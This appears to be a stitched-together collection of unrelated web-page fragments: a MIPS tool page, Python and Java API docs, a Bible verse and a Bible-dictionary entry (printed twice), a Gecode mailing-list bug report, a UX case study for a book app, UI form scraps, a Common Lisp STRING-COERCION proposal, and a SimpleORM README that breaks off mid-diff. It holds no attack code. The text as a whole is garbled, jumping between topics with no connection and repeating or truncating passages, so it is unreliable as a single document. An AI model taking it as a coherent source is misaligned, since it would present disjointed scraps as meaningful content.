Are all your instructions from the Bible?
Please glance upon your source code to ensure that each and every instruction is individually highlighted!
WARNING: This program assumes that spaces are used to indent code instead of tabs. Also commands that are placed inline with labels will not be assessed
Select a MIPS file above
Copyright (c) 2018 Mert Bora ALPER <bora et boramalper dot org>
Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.
 IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.


- hide options
Effects
Liquid gem
Cityscape
Spherical lines
Waves
Elastic cube
Source
Microphone
Track
tip: Scroll for more info
140
+
show options


| core.feature.rr_interval.rr_interval | index /home/a/CCdoc/CerebralCortex-DataAnalysis/core/feature/rr_interval/rr_interval.py |
# Copyright (c) 2018, MD2K Center of Excellence
# All rights reserved.
# author: Md Azim Ullah
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
 IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
| Modules | ||||||
|
| Classes | ||||||||||
|
|
| Data | ||
| activity_identifier = 'org.md2k.data_analysis.feature.activity.wrist.accel_only.10_seconds' day_presence = 'org.md2k.data_analysis.day_based_data_presence' feature_class_name = 'rr_interval' motionsense_hrv_left_raw = 'RAW--org.md2k.motionsense--MOTION_SENSE_HRV--LEFT_WRIST' motionsense_hrv_left_raw_cat = 'RAW--CHARACTERISTIC_LED--org.md2k.motionsense--MOTION_SENSE_HRV--LEFT_WRIST' motionsense_hrv_right_raw = 'RAW--org.md2k.motionsense--MOTION_SENSE_HRV--RIGHT_WRIST' motionsense_hrv_right_raw_cat = 'RAW--CHARACTERISTIC_LED--org.md2k.motionsense--MOTION_SENSE_HRV--RIGHT_WRIST' path_to_stress_files = 'core/resources/stress_files/' qualtrics_identifier = 'org.md2k.data_qualtrics.feature.v12.stress.d' rr_interval_identifier = 'org.md2k.data_analysis.feature.rr_interval' |


Package org.drip.sample.simmcrq
ISDA SIMM Credit Qualifying Estimates
- Author:
- Lakshmi Krishnamurthy
-
Class Summary Class Description CreditQualifyingBucketCurvatureMargin20 CreditQualifyingBucketCurvatureMargin20 illustrates the Computation of the SIMM 2.0 CR Curvature Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingBucketCurvatureMargin21 CreditQualifyingBucketCurvatureMargin21 illustrates the Computation of the SIMM 2.1 CR Curvature Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingBucketCurvatureMarginFlow20 CreditQualifyingBucketCurvatureMarginFlow20 illustrates the Steps in the Computation of the SIMM 2.0 Curvature Qualifying Delta Margin for a single CR Bucket's Exposure Sensitivities.CreditQualifyingBucketCurvatureMarginFlow21 CreditQualifyingBucketCurvatureMarginFlow21 illustrates the Steps in the Computation of the SIMM 2.1 Curvature Qualifying Delta Margin for a single CR Bucket's Exposure Sensitivities.CreditQualifyingBucketDeltaMargin20 CreditQualifyingBucketDeltaMargin20 illustrates the Computation of the SIMM 2.0 CR Delta Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingBucketDeltaMargin21 CreditQualifyingBucketDeltaMargin21 illustrates the Computation of the SIMM 2.1 CR Delta Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingBucketDeltaMarginFlow20 CreditQualifyingBucketDeltaMarginFlow20 illustrates the Steps in the Computation of the SIMM 2.0 Credit Qualifying Delta Margin for a single CR Bucket's Exposure Sensitivities.CreditQualifyingBucketDeltaMarginFlow21 CreditQualifyingBucketDeltaMarginFlow21 illustrates the Steps in the Computation of the SIMM 2.1 Credit Qualifying Delta Margin for a single CR Bucket's Exposure Sensitivities.CreditQualifyingBucketVegaMargin20 CreditQualifyingBucketVegaMargin20 illustrates the Computation of the SIMM 2.0 CR Vega Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingBucketVegaMargin21 CreditQualifyingBucketVegaMargin21 illustrates the Computation of the SIMM 2.1 CR Vega Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingBucketVegaMarginFlow20 CreditQualifyingBucketVegaMarginFlow20 illustrates the Steps in the Computation of the SIMM 2.0 Credit Qualifying Vega Margin for a single CR Bucket's Exposure Sensitivities.CreditQualifyingBucketVegaMarginFlow21 CreditQualifyingBucketVegaMarginFlow21 illustrates the Steps in the Computation of the SIMM 2.1 Credit Qualifying Vega Margin for a single CR Bucket's Exposure Sensitivities.CreditQualifyingClassMargin20 CreditQualifyingClassMargin20 illustrates the Computation of the SIMM 2.0 CR Class Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingClassMargin21 CreditQualifyingClassMargin21 illustrates the Computation of the SIMM 2.1 CR Class Margin for a Bucket's Credit Exposure Sensitivities.CreditQualifyingCurvatureMargin20 CreditQualifyingCurvatureMargin20 illustrates the Computation of the CR SIMM 2.0 Curvature Margin for a Bucket of Credit Exposure Sensitivities.CreditQualifyingCurvatureMargin21 CreditQualifyingCurvatureMargin21 illustrates the Computation of the CR SIMM 2.1 Curvature Margin for a Bucket of Credit Exposure Sensitivities.CreditQualifyingDeltaMargin20 CreditQualifyingDeltaMargin20 illustrates the Computation of the CR SIMM 2.0 Delta Margin for a Bucket of Credit Exposure Sensitivities.CreditQualifyingDeltaMargin21 CreditQualifyingDeltaMargin21 illustrates the Computation of the CR SIMM 2.1 Delta Margin for a Bucket of Credit Exposure Sensitivities.CreditQualifyingVegaMargin20 CreditQualifyingVegaMargin20 illustrates the Computation of the CR SIMM 2.0 Vega Margin for a Bucket of Credit Exposure Sensitivities.CreditQualifyingVegaMargin21 CreditQualifyingVegaMargin21 illustrates the Computation of the CR SIMM 2.1 Vega Margin for a Bucket of Credit Exposure Sensitivities.


Exodus 18:12
And Jethro, Moses' father in law, took a burnt offering and sacrifices for God: and Aaron came, and all the elders of Israel, to eat bread with Moses' father in law before God.


[gecode-users] Cloning problems
Filip Konvička
filip.konvicka at logis.cz
Thu Feb 12 14:36:03 CET 2009
Yes, 32 bits.
Filip
> One quick question: 32 or 64 bits? Looks as it 32, right?
>
> Christian
>
> --
> Christian Schulte, www.it.kth.se/~cschulte/
>
> -----Original Message-----
> From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
> Of Filip Konvicka
> Sent: Thursday, February 12, 2009 2:21 PM
> To: users at gecode.org
> Cc: Luboš Moric
> Subject: [gecode-users] Cloning problems
>
> Hi,
>
> [Sorry, this is a looong message...]
>
> we're hunting a serious bug that occurs during space cloning in 2.2.0.
> The bug occurs very rarely, but we have a testcase that triggers this
> behavior.
>
> We have many constraints in the problem instance and the solver should
> post as many propagators as possible. We have a custom branching for
> this, which posts one propagator at a time in commit(), while the
> alternative is not to post the propagator (i.e. a no-op). Because we're
> only looking for the first solution, in the case of a failure we no
> longer need the path back to the root in the recomputation tree, so we
> decided to use our own simple search engine for this. The standard DFS
> search engine exhibits exactly the same behavior (both with
> recomputation on and off), and we don't see any problems with our search
> engine.
>
> Everything seems to work for the vast majority of the test cases, but
> there are a few instances that cause problems (probably) during cloning
> (can be probably also be caused by some earlier bad subscibe or
> unsubscribe). From our point of view, there is nothing wrong or special
> about the instances. The crashes occur at the same location both on
> Linux and Windows, in both release and debug builds. Changing memory
> management (e.g. never deleting Spaces in the search engine) can cause
> the crash to occur at slightly different places (e.g. some propagation
> during status() after clone() finishes).
>
> One particular case we're looking at now crashes at core.icc:2270, where
> f[0] is a bad pointer (0xfeeefeee at Windows). We're not sure how this
> can happen - we know that in this case n==2 at core.icc:2255, so idx[0]
> is bad pointer at core.icc:2252. This is also what Valgrind says on
> Linux (bad read of size 4).
>
> When we were trying to debug the other cases, we found out that the
> subscription list in a variable in the cloned space contained an actor
> link that was probably copied incorrectly as it seemed as a pure
> ActorLink like Space::a_actors, having a totally different address than
> the rest of the actors (probably belonging to the original space
> object). When we tried to find out when this actor link entered the
> list, we ended up in VarImp<VIC>::update again.
>
> We're (of course:-)) using FloatVars in the model, and we eliminated all
> other kinds of variables and propagators. In our case, pc_max==1 and
> free_bits==0.
>
> We find it difficult to understand what is happening during cloning. We
> would appreciate if someone explaned the basic idea. We only have
> floatvars, propagators and one branching (no advisors or other types of
> actors/branchings/advisors).
>
> We know how VarImp<VIC>::resize works, that's easy. In
> VarImp<VIC>::enter, we can't see why you do "--idx[0];" as the first
> iteration of the for cycle overwrites it (as long as pc>0, of course).
> May be just optimization of course. As for VarImp<VIC>::update, we only
> guess...we suspect that a) the original x->idx[0] is destroyed somewhere
> so it needs to get restored from a memcpy backup at idx[0], b)
> ActorLink::_prev is probably used to map old actors to new ones (thus
> the "->prev()". We did not dig deep enough to be sure though, so we'd
> welcome some guidance here.
>
> Cheers,
> Filip
>
>
> _______________________________________________
> Gecode users mailing list
> users at gecode.org
> https://www.gecode.org/mailman/listinfo/gecode-users
More information about the gecode-users
mailing list


UX/UI Design, Visual Design,
Interaction Design, Information Architecture
Research, Prototyping, Usability Testing
Bhuku is an app for book lovers that will help users track everything they own, books they have read, what they will read next, and also everything they have loved so far. My high level objectives were to design mobile app and brand. Here's what I did to help them reach their goals.
Before any research was done, I created a research plan to outline what I wanted to learn during the discovery phase. I tasked myself with doing some secondary research first so, I created Competitive Analysis document in which I went and did research on the book cataloguing industry. I then created some provisional personas to get an idea of who my target audience could be. Once I had that down, I planned my primary research by creating a interview script, then conducting interviews with my target users the next day. After interviewing, I used an Empathy Map diagram to synthesize my notes. Looking over my notes I found interesting insights such as readers will find new books from different sources that range from videos, friend recommendations, and search engine apps.
Once I had my data synthesized, I created a POV and HMW deliverable to define my problem and open ideation sessions. With my ideation sessions, I did a brainstorm with a group of friends to come up with different features we could use for my HMW questions. I then used a Business & User Goals diagram to find the common goals of the user and the business. After seeing that book recommendations, and important notifications were the common goals, I created a product roadmap to start prioritizing features. After that, I wanted to layout the apps information so I created a sitemap, user flow diagram, task flow diagram, and ui requirements document to better understand where features and screens will live within the app.
Once I had key information planned out, I created wireframe sketches based on my previous documents so I didn't forget any important features. Once my sketches were done, I annotated them to give stakeholders a better understanding of what was drawn and to explain each screen and features. Mid-fidelity prototypes were then made for the testing I would do on users. I then created a Usability Testing Plan to outline what I would be testing for.
I went out using testing users using Invision as my prototyping tool. Once testing was over, I synthesized my research using an Affinity map to create new design recommendations for my app. I then started on creating the High-Fidelity Prototypes by starting off with a Moodboard to get a sense of the visual direction, created the logo by doing multiple sketches through paper and illustrator, then a Style Tile to layout the branding of the app. I then created a UI Kit to create reusable design patterns for Bhuku and then put it all together by creating the High Fidelity Prototype within Sketch. I then uploaded these screens into Invision as the finished prototype.


"TIRES "“To tire” the head is to adorn it (2 Kings 9:30). As a noun the word is derived from “tiara,” and is the rendering of the Hebrews p’er, a“turban” or an ornament for the head (Ezekiel 24:17; R.V., “headtire;” 24:23). In Isaiah 3:18 the word saharonim is rendered “round tires like the moon,” and in Judges 8:21, 26 “ornaments,” but in both cases “crescents” in the Revised Version.
"TIRES "“To tire” the head is to adorn it (2 Kings 9:30). As a noun the word is derived from “tiara,” and is the rendering of the Hebrews p’er, a“turban” or an ornament for the head (Ezekiel 24:17; R.V., “headtire;” 24:23). In Isaiah 3:18 the word saharonim is rendered “round tires like the moon,” and in Judges 8:21, 26 “ornaments,” but in both cases “crescents” in the Revised Version.


This inserts triples into the graph. This should only be used for testing. A private key will be required to sign the triples.


Search We've already found what you're looking for.
| User | Description | Location | Followers, Following, Loops |
|---|---|---|---|
| {{Username}} | {{Description}} | {{Location}} |
{{Current.Followers}} followers following {{Current.Following}} {{Current.Loops}} loops |


Contains all the classes that implement the Web services functionality of
the Opal toolkit.
This includes the server side implementation of the AppServicePort, as well
as a generic client. An additional validator for command-line arguments is
also provided, which can be used if the applications use the Opal parameter
specification.


Reports SLF4J or Log4j 2 logging calls, such as logger.info("{}: {}", key) where the number of {} placeholders in the logger message doesn't match the number of other arguments to the logging call.
logger.info("{}: {}", key)
{}


Extends
- ServerCtorOptions
- RunnerRunOptions
Members
browser :string|BrowserInfo|undefined
The browser to run the specs in.
Type:
- string | BrowserInfo | undefined
clearReporters :boolean|undefined
Whether to remove Jasmine's default reporters before executing the suite.
Type:
- boolean | undefined
- Inherited From:
color :boolean|undefined
Whether to use color in the console output. Defaults to true.
Type:
- boolean | undefined
color :boolean|undefined
The name of a module to get a reporter from. The module will be loaded
using require
and its default export must be a constructor that creates a
reporter.
Type:
- boolean | undefined
cssFiles :Array.<string>|undefined
An array of CSS file paths or globs
that match CSS files. Each path or glob will be evaluated relative to
ServerCtorOptions#srcDir
.
Type:
- Array.<string> | undefined
- Inherited From:
helpers :Array.<string>|undefined
An array of helper file paths or globs
that match helper files. Each path or glob will be evaluated relative to
ServerCtorOptions#specDir
. Helpers are loaded before specs.
Type:
- Array.<string> | undefined
- Inherited From:
jasmineCore :any|undefined
The instance of jasmine-core to use. Use this if you need to load jasmine-core in a nonstandard way. Most of the time it should be omitted.
Type:
- any | undefined
- Inherited From:
port :number|undefined
The port to listen on.
Type:
- number | undefined
- Inherited From:
projectBaseDir :string|undefined
The root directory of the project.
Type:
- string | undefined
- Inherited From:
specDir :string
The directory that spec files are contained in, relative to
ServerCtorOptions#projectBaseDir
.
Type:
- string
- Inherited From:
specFiles :Array.<string>|undefined
An array of spec file paths or globs
that match spec files. Each path or glob will be evaluated relative to
ServerCtorOptions#specDir
.
Type:
- Array.<string> | undefined
- Inherited From:
srcDir :string
The directory that source files are contained in, relative to
ServerCtorOptions#projectBaseDir
.
Type:
- string
- Inherited From:
srcFiles :Array.<string>|undefined
An array of sourec file paths or globs
that match source files. Each path or glob will be evaluated relative to
ServerCtorOptions#srcDir
.
Type:
- Array.<string> | undefined
- Inherited From:


Welcome to my GitHub Pages.
From the Git repos I've forked, you can tell I'm a high performance computing cluster systems administrator, (Red Hat) Linux user/admin/engineer/architect, mechanical keyboard fan, instructor for Software Carpentry, and user/contributor to SLURM and Puppet projects.


Skip to main content
Utility Navigation
Quick Menu
I want to...
Download PSU Mobile
I am a...
prospective student
Course Tools
D2L
Directories
Find people/offices
Contact
myPSU
Search Portland State
Enter the terms you wish to search for
The campaign for psu
">>"
Admissions
Schools and Colleges
Academic Programs
Campus Life
Athletics
Library
Research
Givings
About PSU
Fostering Student Success
PSU Expands all-campus efforts to help students graduate
Research
PSU receives $19.3M grant to help underrepresented students conduct research
Build EXITO, which supports student research success, renewed for another five years »


abstract fun accessPointFound(accessPoint: ScanResult): Unit
Called when WiseFy has successfully found a matching access point.
See Also
ScanResult
Author Patches
Since 3.0


Open Source by
<form-builder form="form"></form-builder>
$rootScope.form =
<formio form="form"></formio>
hosted or on-premise
Getting started is as easy as...
git clone https://github.com/formio/formio.git cd formio npm install node server


30-day, hassie-free money back guarentee
Gain access to our full library of tutorials along with expert cod reviews. Perfect for any developers who are serious about honing their skills.
$29 per month
Full access for less than $1 a day


Class webdriver.http.Request
code »Describes a partial HTTP request. This class is a "partial" request and only
defines the path on the server to send a request to. It is each
webdriver.http.Client
's responsibility to build the full URL for the
final request.
Constructor
Show:


Click this button if you'd like to add the current time to your page. Note that this time will always be current, not the time that you click this button.


Start:
Starting Latitude
Starting Longitude
Starting WaterLevel
Reservoir Waypoints:
(Ctrl+Click or Cmd+Click for multiple selection)
Kurla
Dadar
End:
All
Establishments
Addresses
Geocodes
Strict Bounds


This was the first Fortnite Battle Royale map ever during season 1.
This was the second Fortnite Battle Royale map ever. This map update added "Junk Junction", "Haunted Hills", "Tilted Towers", "Snobby Shores", and "Shifty Shafts!"
This was a Chinese New Year Update that added in only "Lucky Landing" to the map .
This Fortnite Battle Royale map that added in "Risky Reels" and took out "Dusty Depot" because a meteor in the sky at the end of season 3, hit "Dusty Depot" turning it into "Dusty Divot."
This was a limited time map update adding in a soccer stadium because of the 2018 soccer craze, this stadium was remove at the end of season 4.
This map was added in at season 5 adding "Paradise Palms" and "Lazy Links" removing "Anarchy Acres".
This map was added in at season 5 adding "Tomato Temple" removing "Tomato Town".
This map was added in at season 6 adding a big hole in"Loot Lake" removing a big chunk of Loot Lake.


Click the button to get direction from your location to this location Using Google Map.
Show direction on map
Latitude range from -90 to 90 and longitude -180 to 180.


RGSW
Home
(current)
Leaderboard
Houses
Events
Login
Signup
RGSW Houses
Close button for corner
×
Signup
Please use this form to register as a user
Email Address
Password
Confirm Password
Remember Me
Cancel
Signup


You can pick an existing dataset or upload your own
Toggle different features of the data
Colors
Quantization Scale
Buckets: 9


Issue: STRING-COERCIONReferences: Strings (pp299-304),
STRING= (p300), STRING-EQUAL (p301), STRING< (p301),
STRING> (p301), STRING<= (p301), STRING>= (p301),
STRING/= (p301), STRING-LESSP (p302), STRING-GREATERP (p302),
STRING-NOT-GREATERP (p302), STRING-NOT-LESSP (p302),
STRING-NOT-EQUAL (p302), STRING-TRIM (p302), STRING-LEFT-TRIM (p302),
STRING-RIGHT-TRIM (p302), STRING-UPCASE (p303), STRING-DOWNCASE (p303),
and STRING-CAPITALIZE (p303).
Related issues: none
Category: CLARIFICATION
Edit history: Version 1, 9-May-89 by Moon
Version 2, 9-May-89 by Pitman (editorial changes)
Problem description:
CLtL is inconsistent about the argument coercion performed by the
referenced functions. Page 299 says that the <string> argument can
be either a symbol or a string. Page 304 says that these functions
effectively call the STRING function, thus accepting a symbol,
a string, or a character.
Neither page lists the set of affected functions explicitly.
Page 304 says that if any other data type is used, an error is
signalled. But some implementations allow other types, such as
pathnames, to be coerced to strings, which page 299 appears to allow
but page 304 appears to forbid. In some implementations these
coercions are under user control via methods for a generic function.
Proposal (STRING-COERCION:MAKE-CONSISTENT):
Specify that the referenced functions perform coercion identical to
the action of the STRING function.
Specify that the STRING function can perform additional implementation
dependent coercions. In all cases the returned value is of type STRING.
Only in the case where no coercion is defined is the STRING function
required to signal an error; in that case, the error is of type TYPE-ERROR.
Examples:
(string-lessp #\a "B") => T
Rationale:
Our choices are to make the coercion identical to the STRING function,
identical to the COERCE function, or different from both of them. The
COERCE function won't coerce non-null symbols to strings, so it is out.
Being consistent with the STRING function seems better than inventing
yet another set of string coercion rules. Removing the ability for the
STRING function to coerce characters to strings would be an incompatible
change, so instead we clarify that the other functions have that ability.
Allowing additional coercions is harmless and consistent with current
practice.
Current practice:
Symbolics Genera follows page 304 except for allowing additional
coercions. Symbolics Cloe follows page 299 except for not allowing
additional coercions.
Cost to Implementors:
Small changes to eighteen functions.
Cost to Users:
None, this is upward-compatible.
Cost of non-adoption:
Inconsistency and confusion about what coercions are allowed.
Performance impact:
None. If these things have to accept symbols, accepting characters
too can't make much difference. The implementation of character
arguments to string functions might cons a string, but this has no
performance impact on programs that don't use the feature.
Benefits:
Consistency.
Esthetics:
Consistency.
Discussion:
None.


SimpleORM README
Introduction
SimpleORM provides a very
simple and easy way to map relational tables into java classes. It
uses a novel generalized design to avoid the need for reflection and
numerous configuration files. SimpleORM takes care with database
semantics such as locking and caching, and also alows from raw JDBC
and non-Java database access.
The SimpleORM White Paper provides a
detailed description of how SimpleORM works. It is strongly
recomended that it be read before attempting to run SimpleORM.
This is a new project, but all of the core features work and have
been
tested. Several databases are supported, including PostgreSQL, MySQL,
HSQL, and Oracle. The documentation is good and there is a growing
set of examples.
Because it is simple, very few bugs have been reported, and reported
bugs have been fixed very quickly. The next release or two will be
stable, production ready.
As to simplicity, the .jar is currently just 68kb. The code is well
documented, and we have taken care with things like toString() and
exceptions. So if you do decide to use it seriously it should not be
hard to work with the source.
Downloading
The current version can be obtained by browsing
http://simpleorm.svn.sourceforge.net/viewvc/simpleorm/
or
svn co
https://simpleorm.svn.sourceforge.net/svnroot/simpleorm/trunk
Simpleorm
Archives are at
http://simpleorm.org/SrcArchive
Future versions will be branched under the subversion tree.
Unpacking and Building
The distribution contains the entire source for SimpleORM under the
simpleorm folder. It is slightly unusual in that it combines java
package folders at the same level as documentation and build folders
-- we like broad shallow hierarchies rather than narrow deep ones. It
contains the following folders.
| simpleorm/ |
This contains all only the sources,
both java and others. other projects may add an extra level called src,
but we prefer to keep things simple. |
| simpleorm/core |
The core simpleorm classes
themselves. The are in package simpleorm.core. |
| simpleorm/properties |
The simpleorm property classes that may be shared with a UI
layer in the future. |
| simpleorm/examples |
The test and demonstration classes.
|
| simpleorm/build |
Build scripts.
SimpleORM is built with apache ant, see build.xml for details. This
does NOT contain the built .class files. |
| simpleorm/../built |
Everything that is
built by simpleorm. The ant build script creates this folder and all
subfolders. |
| simpleorm/../lib |
.jar files to
add to the class path go here. In particular your JDBC driver. You
create this folder. |
| simpleorm/webSite |
This gets posted to the SimpleORM.org website. Includes the
white paper. |
simpleorm/extras/SimpleORMGenerate
|
Generates SimpleORM definitions
from existing table DDL using JDBC.
|
| simpleorm/extras/EJB/ |
Demonstrates how to use simpleORM with EJBs.
|
Having unziped the distribution you may need to set up a
simpleorm.properties file in order to obtain a proper JDBC
connection. This is described in build.xml.
ant will do a clean build, (re)create the tables, and run
the
test program which demonstrates most of SimpleORM's features. ant
api will make the documentation.
The Examples
The examples package/directory contains examples and test cases based
on a simple schema involving Department/Employee/Payroll tables.
Start with ADemo, which is run as the default ant task (for the
time being). It demonstrates how to open a connection, and perform
DML on records.
Version History
Version 02.21
- Fixed SConnection close bug (on secondary generator connections).
- Make SQuery handle mixed case Columns properly (ie. call
SDriver.quoteColumn)
Version 02.20
- Added SDataSource object. Needed to be able to create
secondary connections for some key generators (see JavaDocs).
(Does not require a real javax..DataSource.) The
mainSConnection.attach method has been depricated, just use the
SDataSource object instead.
- find, mustFind and create convenience methods added.
- Martin's validate record bug fixed.
- SValidateField called for primary keys.
- Uncopied MySQL Index code.
- Tidied code by breaking up some big classes, created static
SRecordUpdater and SRecordFinder.
- Split SConnectionEJB into classes, but it needs more work.
Version 02.19
- Added new SGenerator classes for generating record keys.
WARNING, slightly changed API for this, see GeneratedKeyTest.java.
- Martins foreign key quoting fix and SQuery.getSFieldMeta.
Thanks.
- SQuery.in.needsConjunction fix. Removed deprecated JDBC
calls. Thanks Pierre.
- Convert spaces to tabs.
Version 02.18
- Reorganized folder structure for IDE's such as Eclipse
- Added Martin's boolean fix, plus extended SQuery equivalent.
Version 02.16
- SQuery combineBegin/End
- Martin's Boolean support. TF and YN.
- Dan's EJB Support.
- Dan's UNREPEATABLE_READ for MS SQL.
- New SDriver instance per connection, ability to easily set driver
parameters. (SConnection.getDriver().setMyFavouriteParam(...))
Version 02.15
- Stop SConstants from being a super type of SRecordInstance
etc. The reason is ease of use within IDE's, and compatibility
issues with
the J# version.
Incomaptibility Warning:- SRecordInstance etc. will no longer implement
SConstants, which will be renamed SCon. Code will have to
be changed
as follows
new SFieldString(meta, "EMPEE_ID", 20, SFD_PRIMARY_KEY); // Old
new SFieldString(meta, "EMPEE_ID", 20, SCon.SFD_PRIMARY_KEY); // New
To keep the old behaviour just add SConstants to the extends list in
SRecordInstance. In Java 1.5 static imports could also be
used.
- Better communication between applications and the SDrivers with
more parameters to SPreparedStatements. (To avoid a brittle
structure with an ever growing number of parameters to
SPreparedStatement, the objects now created in two steps one to create
the object and set parameters.)
- Identifiers are quoted with "s. This avoids the problem
with all the reserved words in different databases. But it does
make them case sensitive."
- SFieldMeta, SRecordMeta are now serializable for better
detachment. Care is taken to avoid duplicate objects.
- Can create new records while being detached. Can add keys
when reattaching.
- For detached records, correctly distinguishes references that are
null vs those that have not been fetched. Can
manually check using isReferenceAvailable. Also
getReferenceWhileDetached hook to try to fetch the record
remotely. And can nullReferences when sending them back to the
server.
- Added many operators to SQuery, including Join, fieldOrder
By,. IsNull (references), Distinct?
- More public methods.
- Logging and toString improved, and bugs fixed.
- Simple Alter Table DDL generator. Allows you to create a
new SFieldMeta record at run time and then alter the underlying tables
to include the corresponding column. Enables end user
customizations. This would be very hard to do in other ORMS.
- BINARY SFieldObject?
- Added SRecordMeta.sFieldNames to redundantly store an ArrayList
of the names of the fields for debugging.
- Removed nextGeneratedValue from drivers with databases that
support sequences.
- Factories for the datatypes for Integer etc. to allow J#.Net to
use native .Net data types.
- SConnection - hasBegun() and isOpen().
- Way to pass extra info to drivers for queries.
- OFFSET/LIMIT added, may not be efficient in all drivers though.
- SEXTRA_FKEY_DDL (mainly for ON DELETE CASCADE).
- SFieldBytes.
Many Thanks to Bartek Muszynski for his major contribution to this
release.
Version 01.12
- Now compatible with J#.Net! Thanks Silvain.
- Added Richard Schmitds quick start reverse engineering code.
- New MSSQL driver (thanks Silvain).
- SDriver.registerDriver to add new drivers.
- Tweaked DB2 and SapDB drivers, thanks for contributions.
Version 01.11
- Reworked and enanced foreign key declarations for Richard,
(Payrol.UglyPayslipDetail).
Version 01.09
- zip file contains extra level, ie SimpleORM/simpleorm/..., thus
SimpleORM/built is undert the top folder.
- Greg's Optimistic Null fix.
Version 01.07
- Fixed optimistic lock bug due to keys of Select()ed records not
being dirty.
- More vigourous optimisitic Delete locks.
- Update Record with References bug.
- Generated key Long/Int bug fixed.
Version 01.05
- Limit constraint names to 30 chars (oracle) 18 chars (DB2).
("_nn" now inserted to ensure uniqueness where nn is the field nr.)
Reduced example table name sizes for DB2.
- if (jdbcConnection.getAutoCommit()) added.
- Close prepared statements from SResultSet.close.
- Tweaked driver identification (driverName()) and added Informix.
- No NULL for DB2 DDL. And detachAndClose to rollback before
closing
JDBC if trans not committed. YEAR = '2001' in examples.
- SCOLUMN_QUERY fields no longer produce DDL columns.
- SRecordInstance.detach now nulls any undetatched
referenced records. Avoids problems during serialization. Key values
still kept. See white paper.
- Can mark fields SOPTIMISTIC_UNCHECKED, see white
paper. Also, only dirty fields used for optimistic locks.
- Can flush an optimistically locked record multiple times.
- Use optimistic locking by default for DBs that do not support
locking,
eg. HSQL. Make "SELECT FOR UPDATE" the default if they do -- might
break some drivers, let me know.
- Extra locking test case using multiple threads. If this breaks,
you have a problem that needs to be resolved.
- Use DATE instead of TIMESTAMP in Oracle.
- "Quote" identifiers in SQL to avoid reserved word issues.
Version 01.03
- Added support for CHAR as well as VARCHAR.
- Made sure cursors closed properly.
- Added SResultSet.getOnlyRecord().
- Filled out SPreparedStatement.setLong etc.
- SetTimestamp etc. accept java.util.Date as well as java.sql.Date.
- DATETIME for MS/SQL weblogic.jdbc.mssqlserver4.Driver.
Version 01.01
- Added SQuery class for those that wish to hide SQL queries. See
white paper and ADemo for examples. Can handle references
neatly.
- Optionally generates FOREIGN KEY DDL. See ADemo.java
for how this can be suppressed if necessary.
- Can retrieve values from several columns at once in a single
query
with SCOLUMN_QUERY (ie. Join support). Can sometimes be more
efficent, see Employee.java.
- SConnection extends SPropertyMap, removed connectionInfo.
- ColumnCacheTest tests queries of a subset of columns. Several
bugs fixed.
- Bound on result set sizes.
- getString trims trailing spaces now.
Version 00.09
Enhancements and Incompatibilities:-
- Rounded out the types with TimeStamp, Date, Time, Long, and if
all else fails the generic Object.
- Added a comprehensive benchmark module. Made several performance
improvements (up to 500%) SimpeleORM now rocks! See the white paper
for details.
- validateField, validateRecord is the first of the
business rule methods implemented. Feedback most welcome, see
ADemo.
- Optimistic locking finished. SQY_UNLOCKED renamed to SQY_READ_ONLY
- More Record and Field properties for create
table.
- Added purgeAndFlush() routines to better support rawJDBCUpdates
- Added unsafeDetach/AttachToThread for completenes.
- SFIELD_METAS, SFIELD_INDEX properties to provide access
to meta data. Renamed SRECORD to SRECORD_META.
- SConnection.detatch renamed to SConnection.detachWithoutClosing,
also detatchAndClose --> detachAndClose.
- Renamed SNOT_NULL to SMANDATORY to allow for
separation of these concepts later. Likewise isNull() changed
to isEmpty etc.
Version 00.08
- The properties package and sub system -- see white paper.
- SwingTest created -- note the way that threads are handled.
- Added automated key generation, Select Max or Sequences for
PostgreSQL.
- Improved the J2EE/EJB example.
Version 00.07
Added support and examples for AWT/Swing and J2EE (Weblogic).
Version 00.06
Added basic detach/attach for multi-tier applications. Also split
demos and tests -- tables created directly.
Version 00.05a
Mainly Bug fixes. Now supports MySQL as well as PostgreSQL. Slight
compatibility issue with extra param to SFieldString (need to add to
compile).
Version 00.04
White paper, and some restructuring to fit the better design including
the database drivers and deferable findOrCreate api.
Version 00.03
Added references, including identifying foreign keys.
Version 00.02
Added transaction cache and primary key based object identity. Thus
need to support an automatic update list. Can now write independent
business rules.
Version 00.01
Very basic. Generalized design no transaction cache and hence no
primary key based object identity. Explicit insert, update, delete.
Associated connections with the current thread.
Outstanding To Do List
By Next Point Version (or two)
The following list is in rough order of priority. This list also
shows which documented features are missing. Some of these tasks are
nicely independent of the core code, all help most welcome.
- Alexander's bug in SDriver foo.(select...)
+
// } 21.9.2006 Alexander Banthien I think the braces
were wrong
+
// here: only prefix real columns not columnqueries
with table
+
